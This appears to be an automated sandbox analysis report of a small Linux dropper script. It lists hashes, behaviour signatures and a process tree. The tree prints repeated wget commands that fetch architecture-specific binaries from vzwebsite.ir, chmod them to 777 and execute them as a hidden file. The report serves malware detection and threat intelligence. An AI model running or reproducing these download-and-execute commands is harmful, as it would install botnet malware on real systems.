2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6

Resubmissions

07/02/2023, 21:06

230207-zx6pfafa71 8

07/02/2023, 18:57

230207-xl7fgsge5t 8

Analysis

max time kernel
0s
max time network
127s
platform
debian-9_armhf
resource
debian9-armhf-20221111-en
resource tags

arch:armhfimage:debian9-armhf-20221111-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/02/2023, 18:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
Size

320B
MD5

d4c058db66b0e54c8a6ae4c967479675
SHA1

8fc148163e25f149fbe0d49faa5359d33a67e087
SHA256

2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
SHA512

fcb8b851b40631fbc03f2e73045c92143ea6569eb8dcd82ca5335d7fa4c3d904041279cdadf7e9346af410eb9564b08256a0db6b448234eb4ed0785ceb94eaa2

Score

8^/10

Malware Config

Signatures

Modifies hosts file 15 IoCs

Adds to hosts file used for mapping hosts to IP addresses.

description	ioc	Process
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget
/etc/hosts	/etc/hosts	wget

Writes DNS configuration 1 TTPs 15 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget
/etc/resolv.conf	/etc/resolv.conf	wget

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp
/proc/filesystems	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6	/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6	2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6

/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
/tmp/2f909d5fc67b754a0fff4eaff653333f3a38f0e7f33adb1d73c1ebd27fe192b6
1⤵
- Writes file to tmp directory
PID:353
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:355
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:356
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:361
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm7 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:362
- ./.rlds
  ./.rlds wget..arm7
  2⤵
  PID:363
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:364
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:365
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:366
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm4 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:367
- ./.rlds
  ./.rlds wget..arm4
  2⤵
  PID:368
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:369
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:370
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:371
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm5 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:372
- ./.rlds
  ./.rlds wget..arm5
  2⤵
  PID:373
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:374
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:375
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:376
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.arm6 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:377
- ./.rlds
  ./.rlds wget..arm6
  2⤵
  PID:378
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:379
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:380
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:381
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.armv4tl -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:382
- ./.rlds
  ./.rlds wget..armv4tl
  2⤵
  PID:383
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:384
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:385
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:386
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.mips64 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:387
- ./.rlds
  ./.rlds wget..mips64
  2⤵
  PID:390
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:391
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:392
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:393
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.mips -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:394
- ./.rlds
  ./.rlds wget..mips
  2⤵
  PID:395
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:396
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:397
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:398
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.mipsel -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:399
- ./.rlds
  ./.rlds wget..mipsel
  2⤵
  PID:400
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:401
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:402
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:403
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.ppc440 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:404
- ./.rlds
  ./.rlds wget..ppc440
  2⤵
  PID:405
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:406
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:407
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:408
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.powerpc -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:409
- ./.rlds
  ./.rlds wget..powerpc
  2⤵
  PID:410
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:411
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:412
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:413
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.m68k -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:414
- ./.rlds
  ./.rlds wget..m68k
  2⤵
  PID:415
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:416
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:417
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:419
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.sh4 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:421
- ./.rlds
  ./.rlds wget..sh4
  2⤵
  PID:422
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:423
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:424
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:425
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.sparc -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:426
- ./.rlds
  ./.rlds wget..sparc
  2⤵
  PID:427
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:428
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:429
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:430
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.x86_64 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:431
- ./.rlds
  ./.rlds wget..x86_64
  2⤵
  PID:432
- /bin/rm
  rm -rf .rlds
  2⤵
  PID:433
- /bin/cp
  cp .rlds
  2⤵
  - Reads runtime system information
  PID:434
- /bin/chmod
  chmod 777 .rlds
  2⤵
  PID:435
- /usr/bin/wget
  wget http://vzwebsite.ir/siffredi/dlz.i586 -O -
  2⤵
  - Modifies hosts file
  - Writes DNS configuration
  PID:436
- ./.rlds
  ./.rlds wget..i586
  2⤵
  PID:437

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...